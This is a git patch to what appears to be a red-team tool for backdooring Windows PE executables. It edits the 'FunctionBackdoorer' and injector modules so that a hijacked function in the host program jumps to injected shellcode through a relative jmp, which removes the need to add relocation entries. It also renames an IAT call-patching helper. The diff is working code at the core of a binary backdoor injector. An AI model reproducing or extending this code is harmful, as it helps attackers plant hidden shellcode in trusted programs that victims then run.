From 8ae738b841751a79bafd6c51bf527c83e9fe8741 Mon Sep 17 00:00:00 2001 From: Dobin Date: Sun, 5 May 2024 12:53:31 +0100 Subject: [PATCH] feature: remove addingrelocation by making function hijack a relative jmp --- pe/derbackdoorer.py | 16 ++++++---------- pe/pehelper.py | 16 +++++++++++----- phases/injector.py | 4 ++-- 3 files changed, 19 insertions(+), 17 deletions(-) diff --git a/pe/derbackdoorer.py b/pe/derbackdoorer.py index 1779df9..f33d43d 100644 --- a/pe/derbackdoorer.py +++ b/pe/derbackdoorer.py @@ -8,11 +8,13 @@ import pefile import capstone import keystone import logging +from intervaltree import * from utils import hexdump from pe.superpe import SuperPe from model.defs import * -from intervaltree import * +from pe.pehelper import assemble_relative_call, assemble_relative_jmp + logger = logging.getLogger("DerBackdoorer") @@ -40,10 +42,11 @@ class FunctionBackdoorer: if addr is None: raise Exception("Couldn't find a suitable instruction to backdoor") - compiled_trampoline, text_trampoline, trampoline_reloc_offset = self.get_trampoline(addr, shellcode_addr) + compiled_trampoline = assemble_relative_jmp(addr, shellcode_addr) logger.info("--[ Backdoor 0x{:X}: {}".format( - addr, text_trampoline)) + addr, compiled_trampoline.hex())) + # Check for overlap it = IntervalTree() it.addi(addr, addr+len(compiled_trampoline)) if it.overlap(shellcode_addr, shellcode_addr+shellcode_len): @@ -55,13 +58,6 @@ class FunctionBackdoorer: # write self.superpe.pe.set_bytes_at_rva(addr, bytes(compiled_trampoline)) - # relocs - relocs = ( - addr + trampoline_reloc_offset, - ) - pageRva = 4096 * int((addr + trampoline_reloc_offset) / 4096) - self.superpe.addImageBaseRelocations(pageRva, relocs) - def find_suitable_instruction_addr(self, startOffset, length=256): """Find a instruction to backdoor. Recursively.""" diff --git a/pe/pehelper.py b/pe/pehelper.py index 1a298a8..abf60b8 100644 --- a/pe/pehelper.py +++ b/pe/pehelper.py @@ -77,14 +77,12 @@ def assemble_lea(current_address: int, destination_address: int, reg: str) -> by machine_code = bytes(encoding) return machine_code -def assemble_and_disassemble_jump(current_address: int, destination_address: int) -> bytes: - #logger.info(" Make jmp from 0x{:X} to 0x{:X}".format( - # current_address, destination_address - #)) + +def assemble_relative_call(current_address: int, destination_address: int) -> bytes: # Calculate the relative offset # For a near jump, the instruction length is typically 5 bytes (E9 xx xx xx xx) offset = destination_address - current_address - + # Assemble the jump instruction using Keystone ks = Ks(KS_ARCH_X86, KS_MODE_64) encoding, _ = ks.asm(f"call qword ptr ds:[{offset}]") @@ -98,6 +96,14 @@ def assemble_and_disassemble_jump(current_address: int, destination_address: int return machine_code +def assemble_relative_jmp(current_address: int, destination_address: int) -> bytes: + offset = destination_address - current_address + ks = Ks(KS_ARCH_X86, KS_MODE_64) + encoding, _ = ks.asm(f"jmp {offset}") + machine_code = bytes(encoding) + return machine_code + + ## Utils def remove_trailing_null_bytes(data: bytes) -> bytes: diff --git a/phases/injector.py b/phases/injector.py index 60727dc..372dbba 100644 --- a/phases/injector.py +++ b/phases/injector.py @@ -139,10 +139,10 @@ def injected_fix_iat(superpe: SuperPe, carrier: Carrier, exe_host: ExeHost): offset_from_code = code.index(iatRequest.placeholder) instruction_virtual_address = offset_from_code + exe_host.image_base + exe_host.code_section.VirtualAddress - logger.info(" Replace {} at VA 0x{:X} with call to IAT at VA 0x{:X}".format( + logger.info(" Replace {} at VA 0x{:X} with: call to IAT at VA 0x{:X}".format( iatRequest.placeholder.hex(), instruction_virtual_address, destination_virtual_address )) - jmp = assemble_and_disassemble_jump( + jmp = assemble_relative_call( instruction_virtual_address, destination_virtual_address ) code = code.replace(iatRequest.placeholder, jmp)